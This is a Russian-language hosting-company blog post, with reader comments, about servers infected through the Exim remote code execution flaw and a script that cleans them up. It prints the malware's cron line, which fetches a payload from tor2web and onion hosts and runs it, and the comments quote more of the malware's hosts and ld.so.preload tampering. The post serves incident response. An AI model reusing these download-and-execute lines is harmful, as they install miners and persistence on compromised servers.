Первая волна пострадавших от уязвимости Exim. Скрипт для лечения

Уязвимость с RCE в Exim уже довольно сильно нашумела, и довольно сильно потрепала нервы системным администраторам по всему миру.

На волне массовых заражений (очень многие наши клиенты используют Exim в качестве почтового сервера) быстренько накидал скрипт для автоматизации решения проблемы. Скрипт далек от идеала и полон неоптимального кода, но это быстрое боевое решение для того, чтоб не выполнять однотипные действия на сотнях или даже тысячах серверов.

Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.

Как понять, что сервер взломан?


Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений


Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.

Важно: уязвимость позволяет исполнять код из под root'а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

Что делает скрипт?



1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений.
Например, таких:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp


2а. Если в папке /etc есть следы вирусного скрипта, делает следующее

  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
    /etc/cron.daily/cronlog
    /etc/cron.d/root
    /etc/cron.d/.cronbus
    /etc/cron.hourly/cronlog
    /etc/cron.monthly/cronlog
    /var/spool/cron/root
    /var/spool/cron/crontabs/root
    /etc/cron.d/root
    /etc/crontab
    /root/.cache/
    /root/.cache/a
    /usr/local/bin/nptd
    /root/.cache/.kswapd
    /usr/bin/\[kthrotlds\]
    /root/.ssh/authorized_keys
    /.cache/*
    /.cache/.sysud
    /.cache/.a
    /.cache/.favicon.ico
    /.cache/.kswapd
    /.cache/.ntp
    
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

2б. Если следов заражения нет, скрипт завершает работу.

Уточнения


Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.

curl также заражается вирусом, поэтому он переустанавливается.

Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

Как пользоваться?


Традиционно: перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

Для запуска скрипта:


Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

В терминале введите команду:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

Ожидайте завершения выполнения скрипта и перезагрузки сервера.

После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

Ну и напоследок


По сути, скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.

Все рекомендации по доработке/переработке скрипта приветствуются. Если вы столкнулись с другим симптомом заражения — покажите его, пожалуйста. Кооперация в моменты массовых заражений значительно снижает время, нужное на устранение этих заражений.

Удачи!

UPD1: Добавил на github.
Залил туда же исходник скрипта малвари, который удалось вытащить с зараженного сервера.
UPD2: для Centos 6 пришел релиз 4.92 в EPEL, теперь во всех версиях скрипта ставится из основных репозиториев. Изначально скрипт качал 4.92 для Centos 6 из EPEL/testing.
FirstVDS / FirstDEDIC
91,26
Компания
Поделиться публикацией

Комментарии 28

    –4

    Да, но только в текущей версии 4.92 вышедшей аж в феврале с.г. этой уязвимости нет, как нет её и в собранных без функции events пакетах.
    Очередной привет любителям древнего софта, одним словом.

      0

      Можете на гитхабе скрипт разместить?

      0
      Кирилл, большое Вам спасибо за скрипт, после ребута симптомов пока больше не видать.
      Можно спокойно заниматься переездом на свежую установку — согласен с Вами что так надёжнее…
        0
        Небольшой офф: а проект баг тракер еще жив?
          0
            +6

            Запускать рутом скрипт, не читая его, да еще и скачанный по http? Отличная идея!

              0
              Причем тут рут? вы не можете от пользователя запустить? Если только не будет хватать прав. Да и лучше все равно смотреть так-то да
                0
                Странные у вас шутки: как может скрипт, запущенный с правами рядового пользователя победить зловред, имеющий права root?
                  0
                  В идеале на vps лучше по возможности все делать с правами пользователя и использовать рут для особых случаев только. Естественно скрипты проверять. Это хотел сказать
                    0
                    Шестой абзац статьи сразу всё портит в ваших логических построениях: ВСЕ действия, совершаемые скриптом, требуют прав root. Вы, видимо, вообще не ту статью комментировали
                0
                Вот к слову о птичках, если не видели на днях пост про запуск без проверки (и распространение без оценки) — рекомендую!
                https://habr.com/ru/company/flant/blog/454700/
                  0
                  В статье дается команда
                  wget lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

                  Чем предложенный мной вариант существено отличается?
                  Я лишь сократил оригинальный вариант, путем выбрасывания лишней команды.
                  Прошу прощения, если это было понято превратно.
                  0

                  Заражённый curl не смущает?

                  0
                  Озвучу то, что не было упомянуто в статье, либо не проверяется лечащим скриптом.

                  Вирус меняет значение на «yes» для следующих параметров в конфиге SSH (/etc/ssh/sshd_config):

                  PermitRootLogin yes
                  RSAAuthentication yes
                  PubkeyAuthentication yes
                  UsePAM yes
                  PasswordAuthentication yes

                  Если параметр до этого отсутствовал или был закомментирован, то он дописывается в конец конфига.
                  Не понимая, зачем эти параметры нужны, лучше ничего не трогать, т.к. можете потерять доступ к SSH.

                  Кроме того вирус выключает SELINUX путём модификации /etc/selinux/config меняя значение с enforcing на disabled.

                  В процессе вирус может установить, обновить или переустановить следующие пакеты:

                  openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie

                  Вирус может создать следующие файлы:

                  /etc/ld.so.preload
                  /tmp/.ld.so

                  Кроме того, стоит проверить содержимое файла /etc/hosts на предмет наличия доменов с подстроками «onion» и «busybox»
                    0
                    Спасибо за дополнение!
                    Я параметры SELinux и sshd скриптом не трогал — настройки SELinux и ssh у всех разные, выше шанс выстрелить себе в колено.
                    Что касается hosts, то судя по коду исходного скрипта малвари — он из hosts строки с busybox и .onion вырезает:
                    [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
                    
                    [ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; }
                    
                    [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }

                    Что касается /etc/ld.so.preload и /tmp/.ld.so, исходный скрипт удаляет первый и делает его симлинкой на второй:
                    if [ -f /etc/ld.so.preload ]; then
                            if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
                            ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
                            >/tmp/.ld.so >/dev/null 2>&1
                            ${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1

                    Я не стал удалять /tmp/.ld.so в теле скрипта, так как он всё равно удалится при перезагрузке — создан в /tmp. А перезагружаться обязательно надо — малварь сидит где-то в открытых процессах и, соответственно, в памяти, и записывает себя по новой в крон каждые секунд 30.
                      0
                      Про перезагрузку важный момент, допишу в соседний пост, спасибо.
                    0
                    Т.к. малварь может меняться, а она скорее всего будет меняться, т.к. те кто ее написали тоже читают статьи в Интернет и возможно уже прочитали эту статью. Поэтому самое логичное и правильное в ситуации с заражением — это отключить сервер от Интернет, загрузиться с linux livecd, вытянуть свои данные (сайты, бд и прочее) и отправить сервер под снос. Потом тщательно проверить все что слил с него и залить на новый сервер.

                      +2
                      Я двумя руками за перенос на чистую ОС с тщательной ручной проверкой всего, что могли заразить, но делать это с зараженного сервера, у которого 100% CPU выедает майнер — сомнительное удовольствие. Скрипт позволяет привести сервер в околорабочее состояние и вычистить очевидную малварь, чтобы потом уже перетащить данные и не рвать на себе волосы от страшного даунтайма.
                      0
                      Осталось написать скрипт по upgrade-у сервера до более новой версии, чтобы без бессонных ночей, танцев с бубном и разговоров с начальством.
                        0
                        Обновление нужно только exim до патченной версии (или 4.92), это делается одной строчкой (не забудьте перезапуск процессов или ребут).

                        Обновление же всего сервера тут не при делах — хоть неделю без сна проведите, вряд ли это что-то добавит. И убрать уже проникшую и спрятавшуюся малварь (если такая есть) не поможет.

                        Только чистая установка.
                          0
                          Также интересен механизм атаки — через что проникает зловред. Ведь во вне сервак вроде как опубликован только почтовыми портами (smtp/pop3/imap) и https для вэбконсоли. не так ли?
                            +1
                            Веб тут не при делах, и без веба ломается. Уязвимость почтового сервера exim, подробности опубликованы в оригинальном отчёте (на англ.)

                            Вкратце — шлют письмо на специально составленный адрес на Вашем домене. Собственно, в некоторых случаях этого уже достаточно.

                            Если нет — недельку держат коннект открытым, каждые 4 минуты кидая по байту во избежание таймаута. Нужно чтобы 2-дневный лимит недоставленных писем обойти. Все детали в отчёте, все периоды — для конфига по умолчанию.

                            А далее — всё, RCE (удаленное выполнение команд), причём от рута. Там уже делают что им захочется.
                        0
                        Если первым пунктом Вы обновляете Exim, то почему потом приходится очищать очередь от писем с эксплойтом?
                          0
                          Вот кстати интересно Вы подметили… обновлённую-то версию гадость из очереди уже не должна зацепить. Т.е. чисто логически это по идее лишний шаг. Любопытное наблюдение!
                            +2
                            Честно говоря, да, немного избыточно. Этот шаг должен покрывать довольно маловероятный случай, когда подключены репозитории без патченной версии\Exim ставится не из родных реп и шаги с обновлением, по факту, ничего не обновили.
                            Отчасти из-за этого же я не стал зашивать killswitch по версии Exim — «лучше перестраховаться».
                              0
                              Мм кстати очень хорошо что Вы подумали о таких случаях.

                              Те же косяки репозиториев не так уж маловероятны, прямо вот тут рядом в комментах были: и с CentOS и с Debian.

                              Или вот у человека exim из epel, а epel вообще отключен)

                              Вообще в связи с этим пара мыслей —
                              1) м.б. сравнивать версию exim до и после попытки обновления?
                              exim --version | awk '/version 4.*built/{print $3}'

                              2) и если не обновилась, и до сих пор попадает в уязвимый диапазон, предупреждать что мол проверьте руками, что там такое?
                            0
                            Дополнительно обнаружил что создаются еще следующие файлы:
                            /bin/config.json
                            /bin/httpntp
                            /bin/ftpsdns
                            /usr/bin/curlak
                            /usr/bin/wgetak


                            Последние два идентичны бинарям curl и wget соответственно, а первые три — конфиг майнера и питоновые скрипты

                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                            Самое читаемое